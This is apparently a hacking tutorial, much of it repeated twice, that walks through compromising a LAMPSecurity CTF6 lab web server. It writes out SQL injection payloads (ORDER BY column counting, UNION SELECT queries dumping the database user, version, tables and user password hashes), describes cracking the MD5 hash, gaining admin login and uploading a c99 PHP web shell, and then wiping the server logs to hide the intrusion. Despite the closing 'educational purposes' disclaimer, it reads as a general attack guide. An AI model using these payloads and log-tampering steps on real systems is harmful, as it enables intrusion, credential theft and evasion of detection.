Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v6rVaTgzcLIeWUz4KMgSiJaYorNwPQWgFDTZn98Fzx66WBrH2xtb7YcveJGgglxCGW_NkV7TqlzKhvG_oST1XiOgntJ-7JXrGkCiGH3_W2OnNQxV4zbsOjIsW3Cevp9dDg0HAIeUwClSN-rFqyJAd_l7tI93zFpdeKMemLpplVjuAr=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vVZSTUKOBxLIhcuf1x7LJO1C6Y_u1pRzA6vw_fD8e_9VD57FN9NyeIsB09LYYdaP9gPHja2sh3k2oSYUF1Frzqv3oHUDDJK-ixOzQug2j2xN5uVPbcLPn8AQLhn6YkRIePkdlJ9y5dWmJRogVJQDIivLjHYTxcyvPJBUu82GyV1Hy8Rg=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uUxLTAIsdGk5c3LKru0m66FRTdHhp3XgJ-y5l_xPCeGbiUaRKMTWcMI1xL-PPoCNhBXoiGrdvwQ6Sw5M4upZHY9ibxgZZloicErsyTHu0grdR8BGKVj3-Fy4z-dZ17lPO0d_MXLlf3pINwg-CZHswrCp4N3af1BaQo6Jll_B6nI7G9Iw=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u1m2AdWNAvcht2kU8zsP6dKdXQrs-bu-uJHxbvbwBXryLfTQ1CSUlyQJg0shCMc5LuBsnCJkTfuNKu5qQQXvb9-vvU2XLVcRFSZeUy-Nk_4UU35pRik3AKGBpScQRMEpI7ptdimwHEjIOQh--sc1feSeFwiBRtkfuErsIP3BnBm7ySZw=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vqZ56mE_-WEa5HihJKAKe42oXgFGaDsFsqSPoJcFw-ZDE1--k7iyHntf8g9ly4zChOnXc2hIH_upThRbRMV2j6-V1YtD9zVh9KOgtYSF4j7rkmYXlhxvcFxlptYJXDiyiVkIBfFSHgShK1ic4Z3cLz6LZklWQws3orius6Ih-EtztTyg=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vyHSmRgrqHkRZ4eBK5AWMQQ-uSdzc_OSOGBe1nqLNoNC-DVf4fL6hVWOmkUae0Peb-Zc-hcq-kpAkMy3Zt7M8_yt3zahR3o57vu-HlzoF0Ty0ViyOEPGYZcBQ4BE40oNX3BM20xchjpBxdJe6VkTo6rzk09-isHBEMvkB61qblMMwS=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uAl9XUeHV4lUUaC22wEFxuTz5R0YYODDE9J8j1rPE0ppfUhY5r3EpLwqzMA9EIBX61pMAUN5eFF73v691To-lb3HdhBWEf1g5IQ7tMHIMlFLOD6N6RuUYf5pjIOCx3RpVRrpzFy16bfDe2S4yMU32EPPI-v5trPtEcI-9JExKiNH2R0hY=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vVeU4Y3rlc2F4RTi9vnh5fMUZhlCO7NfLkUni-Wwj2Eh9CI-K32QTLLVhrWA8RJtlZUSQFKYN8mv_bH_4H8FTO1Swy4_cDajNE8m4CRTS-uiLy0AkMqcK25CZd_xbpFVWDmX2kWjZxeIBoYrqsHoAuo8RBHZyCrn_6xgQTbHbt_xIkuag=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uFzk-2EHyg0xv3e_BZfhkUCL2zlg1Tm3pyzMA8CJV_b9Qfi--5lhgNcrVBqqUV6KbUpdP1LJ_zO2o77Qeh7HjRXUKIQ0_HJhY7c0ADlC_ONnb24t9MaCiYCqi3xu7MXutTyy_ThSj3UtlDN7e4tS6N95-LATnBPfxhRp123qLH5cxNi5w=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v3IXebHNSTJ1x4qx3-wJi3rHfoYjOfi23ISQV1At02btpr-dIm4tVWzJWYA0WebmyijctDFf0d9wxbkpEQH04auGxB1OddNBwMaKPfTC1x_zihZsJ53vHtGwMiOeZVyoqVfdHldo2SW0PpK7RQ0ORf7NA4KtcJAYNhQzOIiHn33xiYVcg=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u9Q3RlAhfSm4udc6HzKfJ4wpBhAJPt0XFt-yGHtcAwxdtYSwNCKdUWTCLrd0Up0ZqGVhzeH811P2sI2TBEdv6Y-D46vdKaUEeMWUy5BS_XZXkqMmUj0_Tp8usSXzaA0iJOlZmyrVpgKyUAD6Pdy1sOCLl0V7oNrMalskIXJuQx031s5A=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sBRwFYo-0GNbxRzBvp24TzhNoxIjmPVUvt47IQwsiYG4mzURWuuzc-OKUH51ewpBD0NLVDTs3PyRJ_BwOixWsAmBxibnJH5ex2XKfB_ek-oMmW2RV0m-LMNvXAYeKQwSw9K6w8zBedBSIeCzTo9ANasumySY4g3vveU2KkhMVfvwZ_Hho=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_teyCMU949GfRbOrkL7SOXzX7gep9vJQoxgfChmcbqyTZbvb2Q3PNrFl5BT9QLgjfkRSaQf6ZJdWae8RYejbrkJhf0cOaa8a_MSUd7DdCPLJfWmVLCOS4pKEkal6VO4kjg05SDcMmMyLlnxdv79m-lREz2kWc7304B4ND5RnMQFG_b2Yxk=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uq2i0AahJg5KRFPjvNhhwmAqnGXt6uFYBfsVPfLUQMQMjsERK-vmxWyCSARYrI5lqJRG9P7OuwnANScrvOx1ivekwd_mv5Eah90bcsurmhG7foEreqD98hh2zP2u2mkdrlpdz8TOzCy0MJTNfGZ2jBKU1Aeqs-qpAh-1KSuJR99JqBtg=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vt5BIVyNDqnA87WtH76dZLfRZgeKwObXNsssuRqJbG5WCQkOkD44ik1_KOptWDkNHjVLH2uWSjH490XhKGhAUJNzI52XZB-kRx1f8Ho2Y6ZqAxtI1_sPLBj52gG7W3myILg9QJTUZjhcl19fABEHwAb5gwb5z0zKWtSKgdYew2g_nAvw=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sWW_o1ChzojI8VHnHXw3eoN2OAU7wDxUos2wslLUFTijE0WK4fZl2B2j04YzAQSUviTg-6dHPQrunDeAHtfGSkP5VetO5p3kADgafn0ltKmR4yUYB5EYE91OQ0QU4wSdQagzeVZVXBckSkEp7uAhAmeOfDyHM3xGjW3V_DgFurIhipE7o=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uRoK9jmxZPrD5oCvOdg4aQWVLskXKNPuWxWvq-qvDifPkzZpPV0ovDJ4LO_tMB8WFA_ryas062hG7xBraEjtozcVPQOxj8hrLdx8o4D4SgNFqTJUJWGHj6lpp22R7CSGVt2f_AaCGO6qKniGTq98RHmokktNQMYWj6JaTLteX9YCTdtTE=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
